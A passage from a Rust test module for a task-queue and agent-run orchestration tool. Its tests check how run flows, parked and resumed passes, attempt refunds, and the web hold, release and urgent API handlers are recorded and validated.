17770    fn flow_follows_blocked_retry_merged_to_done() {
17771        let mut t = flow_task(&[FA, FB]);
17772        t.status = TaskStatus::Done;
17773        let f = flow_for(
17774            &t,
17775            &[
17776                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17777                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17778            ],
17779        );
17780        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17781        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17782        assert_eq!(f.edges.len(), 3);
17783        assert_eq!(f.edges[0].label, "claimed");
17784        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17785        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17786        assert_eq!(f.edges[2].label, "merged \u{2192} done");
17787        assert_eq!(
17788            f.nodes[2].href.as_deref(),
17789            Some("#/runs/20260902-140502-bbbb")
17790        );
17791        assert!(f.nodes[2].decided);
17792    }
17793
17794    #[test]
17795    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17796        let quota = || {
17797            flow_run(RunStatus::Stalled, |s| {
17798                s.quota.push(crate::run::QuotaLoss {
17799                    cause: crate::agent::QuotaCause::UsageLimit,
17800                    agent: String::new(),
17801                    seat: "judge-1".to_owned(),
17802                    node: "judge".to_owned(),
17803                    at: Timestamp::now(),
17804                    reset: None,
17805                })
17806            })
17807        };
17808        let mut t = flow_task(&[FA, FA]);
17809        t.status = TaskStatus::Queued;
17810        let f = flow_for(&t, &[(FA, Some(quota()))]);
17811        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17812        assert_eq!(f.nodes[1].note, Some("interrupted"));
17813        assert_eq!(
17814            f.nodes[1].status, None,
17815            "no outcome copied onto an earlier pass"
17816        );
17817        assert_eq!(
17818            f.edges[1].attempt,
17819            AttemptCost::Unknown,
17820            "a resume does not prove the earlier pass was refunded"
17821        );
17822        assert!(f.edges[1].label.contains("resume the same run"));
17823        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17824        assert_eq!(
17825            f.edges[2].label,
17826            "stalled after a resume, refund unknown \u{2192} queued"
17827        );
17828        assert!(!f.nodes[2].decided, "a stall is not a decision");
17829        assert_eq!(f.nodes[2].note, Some("no verdict"));
17830    }
17831
17832    #[test]
17833    fn flow_single_pass_quota_stall_is_refunded() {
17834        let t = flow_task(&[FA]);
17835        let f = flow_for(
17836            &t,
17837            &[(
17838                FA,
17839                Some(flow_run(RunStatus::Stalled, |s| {
17840                    s.quota.push(crate::run::QuotaLoss {
17841                        cause: crate::agent::QuotaCause::UsageLimit,
17842                        agent: String::new(),
17843                        seat: "judge-1".to_owned(),
17844                        node: "judge".to_owned(),
17845                        at: Timestamp::now(),
17846                        reset: None,
17847                    })
17848                })),
17849            )],
17850        );
17851        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17852    }
17853
17854    #[test]
17855    fn flow_parked_refunds_and_stall_without_quota_spends() {
17856        let mut t = flow_task(&[FA]);
17857        t.status = TaskStatus::Queued;
17858        let f = flow_for(
17859            &t,
17860            &[(
17861                FA,
17862                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17863            )],
17864        );
17865        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17866        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17867        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17868        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17869        assert!(!f.nodes[1].decided);
17870    }
17871
17872    #[test]
17873    fn flow_keeps_an_unreadable_run_as_its_own_node() {
17874        let t = flow_task(&[FA, FB]);
17875        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17876        assert_eq!(f.nodes[1].note, Some("unreadable"));
17877        assert!(!f.nodes[1].readable);
17878        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17879        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17880    }
17881
17882    #[test]
17883    fn flow_names_the_branch_of_a_review_only_run() {
17884        let t = flow_task(&[FA]);
17885        let f = flow_for(
17886            &t,
17887            &[(
17888                FA,
17889                Some(flow_run(RunStatus::Merged, |s| {
17890                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17891                })),
17892            )],
17893        );
17894        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17895        assert_eq!(
17896            f.nodes[1].detail.as_deref(),
17897            Some("review-only run of branch magi/x/A")
17898        );
17899    }
17900
17901    #[test]
17902    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17903        let mut t = flow_task(&[FA]);
17904        t.status = TaskStatus::Held;
17905        let pr = crate::run::PrRecord {
17906            url: "https://example.test/pr/1".to_owned(),
17907            number: 1,
17908            state: "open".to_owned(),
17909            checks: "green".to_owned(),
17910            round: 0,
17911            rounds: 3,
17912            red_at_merge: Vec::new(),
17913        };
17914        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17915        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17916        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17917        t.status = TaskStatus::Done;
17918        let f = flow_for(&t, &[(FA, Some(blocked))]);
17919        assert_eq!(f.edges[1].label, "closed by hand: task is done");
17920    }
17921
17922    #[test]
17923    fn flow_with_no_runs_goes_from_queued_to_queued() {
17924        let t = flow_task(&[]);
17925        let f = flow_for(&t, &[]);
17926        assert_eq!(f.nodes.len(), 2);
17927        assert_eq!(f.edges.len(), 1);
17928        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17929        assert_eq!(f.edges[0].attempt, AttemptCost::None);
17930    }
17931
17932    /// A run parked mid-flight keeps a non-terminal status; the page must
17933    /// still say why it stopped and that the attempt came back.
17934    #[test]
17935    fn a_parked_non_terminal_run_is_explained_as_parked() {
17936        let mut s = RunState::new(
17937            PathBuf::from("/repo/magi"),
17938            "main".to_owned(),
17939            "0123456789abcdef".to_owned(),
17940            "Do it".to_owned(),
17941            Config::default(),
17942        );
17943        s.status = RunStatus::Implementing;
17944        s.parked = true;
17945        let task = Task::new(
17946            "t".to_owned(),
17947            "Do it".to_owned(),
17948            PathBuf::from("/repo/magi"),
17949            Source::Human,
17950        );
17951        let v = task_run_view(
17952            "20260902-140501-aaaa",
17953            Some(&s),
17954            RunSlot {
17955                n: 1,
17956                resumed: false,
17957                resumed_later: None,
17958                prior: None,
17959                last: true,
17960                ..RunSlot::default()
17961            },
17962            &task,
17963        );
17964        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17965    }
17966
17967    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17968        let mut s = flow_run(RunStatus::Implementing, edit);
17969        s.parked = false;
17970        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17971        task_run_view(
17972            "20260902-140501-aaaa",
17973            Some(&s),
17974            RunSlot {
17975                n: 1,
17976                resumed: false,
17977                resumed_later: Some(2),
17978                prior: None,
17979                last: false,
17980                ..RunSlot::default()
17981            },
17982            &task,
17983        )
17984    }
17985
17986    #[test]
17987    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17988        let v = earlier_pass_view(|_| {});
17989        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17990        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17991        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17992        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17993        assert_eq!(v.exit, RunExit::Interrupted);
17994        assert_eq!(v.attempt, AttemptCost::Unknown);
17995    }
17996
17997    #[test]
17998    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17999        let v = earlier_pass_view(|s| {
18000            s.quota.push(crate::run::QuotaLoss {
18001                cause: crate::agent::QuotaCause::UsageLimit,
18002                agent: String::new(),
18003                seat: "judge-1".to_owned(),
18004                node: "judge".to_owned(),
18005                at: Timestamp::now(),
18006                reset: None,
18007            });
18008        });
18009        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
18010        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
18011        assert_eq!(v.attempt, AttemptCost::Unknown);
18012    }
18013
18014    #[test]
18015    fn the_current_pass_states_its_recorded_cause_and_cost() {
18016        let slot = || RunSlot {
18017            n: 1,
18018            resumed: false,
18019            resumed_later: None,
18020            prior: None,
18021            last: true,
18022            ..RunSlot::default()
18023        };
18024        let task = flow_task(&["20260902-140501-aaaa"]);
18025        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
18026        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
18027        assert_eq!(
18028            (v.exit, v.attempt),
18029            (RunExit::Parked, AttemptCost::Refunded)
18030        );
18031        let spent = flow_run(RunStatus::Blocked, |_| {});
18032        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
18033        assert_eq!(v.attempt, AttemptCost::Spent);
18034        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
18035    }
18036
18037    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
18038        crate::run::RunPass {
18039            index,
18040            started_at: Timestamp::now(),
18041            resumed: index > 0,
18042            ended_at: end.as_ref().map(|_| Timestamp::now()),
18043            end,
18044            task_entry: true,
18045        }
18046    }
18047
18048    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
18049        Some(crate::run::PassEnd::Parked { cause })
18050    }
18051
18052    fn upgrade_cause() -> crate::run::ParkCause {
18053        crate::run::ParkCause::Upgrade {
18054            from: "0.121.0".to_owned(),
18055            to: Some("0.121.1".to_owned()),
18056        }
18057    }
18058
18059    fn settled_pass(
18060        run: &str,
18061        index: usize,
18062        cost: crate::queue::PassCost,
18063    ) -> crate::queue::TaskPass {
18064        crate::queue::TaskPass {
18065            run: run.to_owned(),
18066            pass_index: index,
18067            started_at: None,
18068            cost,
18069            attempts_after: 1,
18070            settled_at: Timestamp::now(),
18071            parked: None,
18072        }
18073    }
18074
18075    const RUN_X: &str = "20261011-223708-4334";
18076
18077    #[test]
18078    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
18079        use crate::queue::PassCost;
18080        let run = flow_run(RunStatus::Implementing, |s| {
18081            s.passes = vec![
18082                recorded_pass(0, parked(upgrade_cause())),
18083                recorded_pass(1, None),
18084            ];
18085        });
18086        let mut task = flow_task(&[RUN_X, RUN_X]);
18087        task.attempts = 1;
18088        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18089        let h = task_history(&task, |_| Some(run.clone()));
18090        assert_eq!(h.len(), 2);
18091        assert_eq!(h[0].kind, "competition");
18092        assert_eq!(h[1].kind, "resume");
18093        assert_eq!(
18094            (h[0].exit, h[0].attempt),
18095            (RunExit::Parked, AttemptCost::Refunded)
18096        );
18097        assert!(
18098            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
18099            "{}",
18100            h[0].outcome
18101        );
18102        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
18103        assert!(
18104            h[0].outcome.contains("pass #2 resumed the same run"),
18105            "{}",
18106            h[0].outcome
18107        );
18108        assert!(
18109            h[0].outcome.contains("pass 1 of 2 over run"),
18110            "{}",
18111            h[0].outcome
18112        );
18113        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18114        assert_eq!(
18115            h[0].exit_label,
18116            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
18117        );
18118        let f = task_flow(&task, &h, 2, None);
18119        // Two passes of one run, one of two attempts consumed.
18120        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
18121        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
18122        assert!(
18123            f.edges[1].label.contains("upgrade 0.121.0"),
18124            "{}",
18125            f.edges[1].label
18126        );
18127        assert!(
18128            f.edges[1].label.contains("resume the same run"),
18129            "{}",
18130            f.edges[1].label
18131        );
18132        assert_eq!(f.nodes[1].note, Some("parked"));
18133    }
18134
18135    #[test]
18136    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
18137        let mut a = flow_run(RunStatus::Implementing, |s| {
18138            s.passes = vec![
18139                recorded_pass(0, parked(upgrade_cause())),
18140                recorded_pass(1, None),
18141            ];
18142        });
18143        let mut b = flow_run(RunStatus::Failed, |s| {
18144            s.passes = vec![recorded_pass(0, None)];
18145        });
18146        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
18147        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
18148        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
18149        let mut task = flow_task(&[]);
18150        task.start("a".into());
18151        task.start("b".into());
18152        task.start("a".into());
18153        assert_eq!(task.runs, ["b", "a"]);
18154        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
18155        let h = task_history(&task, |id| {
18156            Some(if id == "a" { a.clone() } else { b.clone() })
18157        });
18158        assert_eq!(
18159            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
18160            ["a", "b", "a"]
18161        );
18162        assert_eq!(h[0].attempt, AttemptCost::Refunded);
18163        assert!(h[0].outcome.contains("upgrade"));
18164        assert_eq!(h[2].kind, "resume");
18165        assert!(h[2].pass.is_some());
18166        // The old repeated-id format must show the same recorded passes.
18167        task.runs = vec!["a".into(), "b".into(), "a".into()];
18168        let old = task_history(&task, |id| {
18169            Some(if id == "a" { a.clone() } else { b.clone() })
18170        });
18171        assert_eq!(
18172            old.iter()
18173                .map(|v| (&v.id, &v.kind, v.attempt))
18174                .collect::<Vec<_>>(),
18175            h.iter()
18176                .map(|v| (&v.id, &v.kind, v.attempt))
18177                .collect::<Vec<_>>()
18178        );
18179    }
18180
18181    #[test]
18182    fn an_upgrade_whose_target_was_not_known_says_so() {
18183        let run = flow_run(RunStatus::Implementing, |s| {
18184            s.passes = vec![
18185                recorded_pass(
18186                    0,
18187                    parked(crate::run::ParkCause::Upgrade {
18188                        from: "0.121.0".to_owned(),
18189                        to: None,
18190                    }),
18191                ),
18192                recorded_pass(1, None),
18193            ];
18194        });
18195        let task = flow_task(&[RUN_X, RUN_X]);
18196        let h = task_history(&task, |_| Some(run.clone()));
18197        assert!(
18198            h[0].outcome.contains("upgrade from 0.121.0"),
18199            "{}",
18200            h[0].outcome
18201        );
18202        // No settle record: the refund is not claimed.
18203        assert_eq!(h[0].attempt, AttemptCost::Unknown);
18204    }
18205
18206    #[test]
18207    fn each_pass_keeps_its_own_cause_across_several_resumes() {
18208        use crate::queue::PassCost;
18209        use crate::run::ParkCause;
18210        let run = flow_run(RunStatus::Implementing, |s| {
18211            s.passes = vec![
18212                recorded_pass(0, parked(upgrade_cause())),
18213                recorded_pass(
18214                    1,
18215                    parked(ParkCause::Interrupt {
18216                        reason: "task a1b2 asked to run first".to_owned(),
18217                    }),
18218                ),
18219                recorded_pass(2, parked(ParkCause::Operator)),
18220                recorded_pass(3, None),
18221            ];
18222        });
18223        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
18224        task.attempts = 1;
18225        task.passes = (0..3)
18226            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
18227            .collect();
18228        let h = task_history(&task, |_| Some(run.clone()));
18229        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
18230        assert!(
18231            h[1].outcome.contains("task a1b2 asked to run first"),
18232            "{}",
18233            h[1].outcome
18234        );
18235        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
18236        assert!(
18237            h[2].outcome.contains("operator asked the loop to park"),
18238            "{}",
18239            h[2].outcome
18240        );
18241        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
18242        let f = task_flow(&task, &h, 2, None);
18243        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
18244    }
18245
18246    #[test]
18247    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
18248        let run = flow_run(RunStatus::Implementing, |s| {
18249            s.passes = vec![
18250                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
18251                recorded_pass(1, None),
18252            ];
18253        });
18254        let task = flow_task(&[RUN_X, RUN_X]);
18255        let h = task_history(&task, |_| Some(run.clone()));
18256        assert_eq!(h[0].exit, RunExit::Interrupted);
18257        assert_eq!(h[0].attempt, AttemptCost::Unknown);
18258        assert!(
18259            h[0].outcome.contains("without recording why"),
18260            "{}",
18261            h[0].outcome
18262        );
18263        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18264        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
18265    }
18266
18267    #[test]
18268    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
18269        use crate::queue::PassCost;
18270        // Three entries, but the run only began keeping passes at the last
18271        // two: the first is legacy and must not be given a cause.
18272        let run = flow_run(RunStatus::Implementing, |s| {
18273            s.passes = vec![
18274                recorded_pass(0, parked(upgrade_cause())),
18275                recorded_pass(1, None),
18276            ];
18277        });
18278        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
18279        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18280        let h = task_history(&task, |_| Some(run.clone()));
18281        assert!(h[0].pass.is_none());
18282        assert_eq!(h[0].exit, RunExit::Interrupted);
18283        assert_eq!(h[0].attempt, AttemptCost::Unknown);
18284        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18285        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18286        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
18287        // A run with no passes at all is entirely unknown.
18288        let legacy = flow_run(RunStatus::Implementing, |_| {});
18289        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
18290        assert!(h.iter().all(|v| v.pass.is_none()));
18291        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18292    }
18293
18294    #[test]
18295    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
18296        use crate::queue::PassCost;
18297        // Pass 1 is a web-button resume: a pass of the run, no entry of the
18298        // task. The two entries are passes 0 and 2.
18299        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
18300        web.task_entry = false;
18301        let run = flow_run(RunStatus::Implementing, |s| {
18302            s.passes = vec![
18303                recorded_pass(0, parked(upgrade_cause())),
18304                web.clone(),
18305                recorded_pass(2, None),
18306            ];
18307        });
18308        let mut task = flow_task(&[RUN_X, RUN_X]);
18309        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18310        let h = task_history(&task, |_| Some(run.clone()));
18311        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
18312        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
18313
18314        // Legacy first entry, then a web resume that parked for an upgrade,
18315        // then the daemon's pass: the legacy entry must stay unknown.
18316        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
18317        web0.task_entry = false;
18318        let run = flow_run(RunStatus::Implementing, |s| {
18319            s.passes = vec![web0.clone(), recorded_pass(1, None)];
18320        });
18321        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
18322        assert!(h[0].pass.is_none());
18323        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18324        assert!(h[1].pass.is_some());
18325    }
18326
18327    #[tokio::test]
18328    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
18329        let dir = tempfile::tempdir().unwrap();
18330        let queue = Queue::at(dir.path().join("queue"));
18331        let ui = Arc::new(Ui::new(
18332            queue.clone(),
18333            Questions::at(dir.path().join("questions")),
18334            Talks::at(dir.path().join("talks")),
18335            dir.path().join("runs"),
18336            dir.path().to_path_buf(),
18337            dir.path().to_path_buf(),
18338        ));
18339        let mut t = Task::new(
18340            "recover".into(),
18341            "Inspect".into(),
18342            PathBuf::from("."),
18343            Source::Human,
18344        );
18345        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
18346        t.start("run-A".into());
18347        t.release_operator("choice", Some("resume-question"));
18348        t.resume_override = Some(crate::queue::OperatorResume {
18349            question_id: "resume-question".into(),
18350            at: jiff::Timestamp::now(),
18351            conductor_rehold: None,
18352            forced: true,
18353            pinned_run: Some("run-A".into()),
18354        });
18355        t.hold_machine(Some("inspection pending".into()));
18356        t.edit("recover".into(), "Reuse approved PR head".into())
18357            .unwrap();
18358        queue.put(&mut t).unwrap();
18359        let mut cli = t.clone();
18360        cli.release_operator("cli", None);
18361        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
18362        let reloaded = queue.get(&t.id).unwrap();
18363        assert_eq!(reply.task.status, TaskStatus::Queued);
18364        assert!(reloaded.resume_override.is_none());
18365        assert_eq!(reloaded.answers, t.answers);
18366        let mut web = reloaded.resumption.unwrap();
18367        let cli = cli.resumption.unwrap();
18368        assert_eq!(web.source, "web");
18369        web.source = cli.source.clone();
18370        web.at = cli.at;
18371        assert_eq!(web, cli);
18372    }
18373
18374    #[tokio::test]
18375    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
18376        let f = Fixture::start().await;
18377        let queue = f.queue();
18378        let mut task = Task::new(
18379            "spent".to_owned(),
18380            "Try again".to_owned(),
18381            PathBuf::from("/repo/magi"),
18382            Source::Human,
18383        );
18384        task.start("20260902-140502-bbbb".to_owned());
18385        task.fail("agent gave up", 9);
18386        queue.put(&mut task).expect("file the task");
18387
18388        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
18389        assert_eq!(held.status, 200);
18390        assert_eq!(held.json()["status_str"], "held");
18391
18392        let released = f
18393            .post(&format!("/api/queue/{}/release", task.id), None)
18394            .await;
18395        assert_eq!(released.status, 200);
18396        assert_eq!(released.json()["status_str"], "queued");
18397        assert_eq!(released.json()["resumption"]["source"], "web");
18398        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
18399        let mut cli = task.clone();
18400        cli.release_operator("cli", None);
18401        let web = queue.get(&task.id).unwrap().resumption.unwrap();
18402        let cli = cli.resumption.unwrap();
18403        assert_eq!(web.instruction, cli.instruction);
18404        assert_eq!(web.answers_through, cli.answers_through);
18405        assert_eq!(web.runs_through, cli.runs_through);
18406        assert_eq!(web.cleared_reason, cli.cleared_reason);
18407        assert_eq!(
18408            released.json()["attempts"],
18409            0,
18410            "release is a real second chance, not an instant re-hold"
18411        );
18412        assert_eq!(
18413            queue.get(&task.id).expect("reload").status,
18414            TaskStatus::Queued,
18415            "the change is on disk, not only in the reply"
18416        );
18417        assert!(
18418            !f.home
18419                .path()
18420                .join("queue")
18421                .join(format!("{}.lock", task.id))
18422                .exists(),
18423            "the claim the mutation took is released again"
18424        );
18425    }
18426
18427    #[tokio::test]
18428    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
18429        let f = Fixture::start().await;
18430        let queue = f.queue();
18431        let mut task = Task::new(
18432            "busy".to_owned(),
18433            "Running right now".to_owned(),
18434            PathBuf::from("/repo/magi"),
18435            Source::Human,
18436        );
18437        queue.put(&mut task).expect("file the task");
18438        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18439
18440        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
18441
18442        assert_eq!(res.status, 409);
18443        assert_eq!(
18444            queue.get(&task.id).expect("reload").status,
18445            TaskStatus::Queued,
18446            "the refused hold changed nothing"
18447        );
18448    }
18449
18450    #[tokio::test]
18451    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
18452        let f = Fixture::start().await;
18453        let queue = f.queue();
18454        let mut task = Task::new(
18455            "waiting on the migration".to_owned(),
18456            "Do the thing".to_owned(),
18457            PathBuf::from("/repo/magi"),
18458            Source::Human,
18459        );
18460        queue.put(&mut task).expect("file the task");
18461
18462        let held = f
18463            .post(
18464                &format!("/api/queue/{}/hold", task.id),
18465                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
18466            )
18467            .await;
18468        assert_eq!(held.status, 200, "{}", held.body);
18469        assert_eq!(held.json()["status_str"], "held");
18470        assert_eq!(
18471            held.json()["hold_reason"],
18472            "waiting for 20260101-000000-aaaa to land"
18473        );
18474
18475        let listed = f.get("/api/queue").await.json();
18476        assert_eq!(
18477            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
18478            "the card reads the reason off the same list route"
18479        );
18480
18481        // A hold with no body at all must keep working - most holds have no
18482        // reason to give.
18483        let mut plain = Task::new(
18484            "no reason given".to_owned(),
18485            "Do another thing".to_owned(),
18486            PathBuf::from("/repo/magi"),
18487            Source::Human,
18488        );
18489        queue.put(&mut plain).expect("file the task");
18490        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
18491        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
18492        assert!(held_plain.json()["hold_reason"].is_null());
18493
18494        let released = f
18495            .post(&format!("/api/queue/{}/release", task.id), None)
18496            .await;
18497        assert_eq!(released.status, 200);
18498        assert!(
18499            released.json()["hold_reason"].is_null(),
18500            "a release must clear the reason so the next hold does not inherit it"
18501        );
18502    }
18503
18504    #[test]
18505    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
18506        for urgent in [true, false] {
18507            let body: UrgentBody =
18508                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
18509            assert_eq!(body.urgent, urgent);
18510        }
18511        for input in [
18512            r#"{}"#,
18513            r#"{"urgent":null}"#,
18514            r#"{"urgent":"true"}"#,
18515            r#"{"urgent":1}"#,
18516            r#"{"urgent":true,"extra":false}"#,
18517        ] {
18518            assert!(
18519                serde_json::from_str::<UrgentBody>(input).is_err(),
18520                "{input}"
18521            );
18522        }
18523    }
18524
18525    #[tokio::test]
18526    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
18527        let home = TempDir::new().unwrap();
18528        let q = Queue::at(home.path().join("queue"));
18529        let ui = Arc::new(Ui::new(
18530            q.clone(),
18531            Questions::at(home.path().join("questions")),
18532            Talks::at(home.path().join("talks")),
18533            home.path().join("runs"),
18534            home.path().into(),
18535            home.path().into(),
18536        ));
18537        let mut task = Task::new(
18538            "urgent handler".into(),
18539            "keep".into(),
18540            home.path().into(),
18541            Source::Human,
18542        );
18543        for status in [TaskStatus::Queued, TaskStatus::Held] {
18544            task.status = status;
18545            q.put(&mut task).unwrap();
18546            for urgent in [true, true, false, false] {
18547                let saved = queue_urgent(
18548                    State(Arc::clone(&ui)),
18549                    Path(task.short().into()),
18550                    Ok(Json(UrgentBody { urgent })),
18551                )
18552                .await
18553                .unwrap();
18554                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
18555                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
18556            }
18557        }
18558        task.status = TaskStatus::Queued;
18559        q.put(&mut task).unwrap();
18560        let claim = q.claim(&task.id).unwrap();
18561        let error = queue_urgent(
18562            State(Arc::clone(&ui)),
18563            Path(task.id.clone()),
18564            Ok(Json(UrgentBody { urgent: true })),
18565        )
18566        .await
18567        .unwrap_err();
18568        assert_eq!(error.status, StatusCode::CONFLICT);
18569        assert!(error.message.contains("released"));
18570        drop(claim);
18571        for status in [
18572            TaskStatus::Running,
18573            TaskStatus::Done,
18574            TaskStatus::Failed,
18575            TaskStatus::Blocked,
18576            TaskStatus::Parked,
18577        ] {
18578            task.status = status;
18579            q.put(&mut task).unwrap();
18580            let error = queue_urgent(
18581                State(Arc::clone(&ui)),
18582                Path(task.id.clone()),
18583                Ok(Json(UrgentBody { urgent: false })),
18584            )
18585            .await
18586            .unwrap_err();
18587            assert_eq!(error.status, StatusCode::BAD_REQUEST);
18588            assert!(error.message.contains(status.as_str()));
18589        }
18590    }
18591
18592    #[tokio::test]
18593    async fn urgent_api_updates_preserves_and_validates_tasks() {
18594        let f = Fixture::start().await;
18595        let q = f.queue();
18596        let mut t = Task::new(
18597            "urgent API".into(),
18598            "unchanged".into(),
18599            PathBuf::from("/repo/magi"),
18600            Source::Human,
18601        );
18602        t.attempts = 2;
18603        t.priority = 9;
18604        t.interrupt = true;
18605        t.hold_reason = Some("waiting for approval".into());
18606        for status in [TaskStatus::Queued, TaskStatus::Held] {
18607            t.status = status;
18608            q.put(&mut t).unwrap();
18609            for urgent in [true, true, false, false] {
18610                let response = f
18611                    .post(
18612                        &format!("/api/queue/{}/urgent", t.short()),
18613                        Some(&format!("{{\"urgent\":{urgent}}}")),
18614                    )
18615                    .await;
18616                assert_eq!(response.status, 200, "{}", response.body);
18617                assert_eq!(response.json()["urgent"], urgent);
18618                let saved = q.get(&t.id).unwrap();
18619                let mut before = serde_json::to_value(&t).unwrap();
18620                let mut after = serde_json::to_value(saved).unwrap();
18621                before["urgent"] = urgent.into();
18622                before.as_object_mut().unwrap().remove("updated_at");
18623                after.as_object_mut().unwrap().remove("updated_at");
18624                assert_eq!(after, before);
18625            }
18626        }
18627        let route = format!("/api/queue/{}/urgent", t.id);
18628        for body in [
18629            r#"{}"#,
18630            r#"{"urgent":null}"#,
18631            r#"{"urgent":"true"}"#,
18632            r#"{"urgent":1}"#,
18633            r#"{"urgent":true,"extra":false}"#,
18634            "{",
18635        ] {
18636            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18637        }
18638        t.status = TaskStatus::Queued;
18639        q.put(&mut t).unwrap();
18640        let claim = q.claim(&t.id).unwrap();
18641        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
18642        assert_eq!(response.status, 409, "{}", response.body);
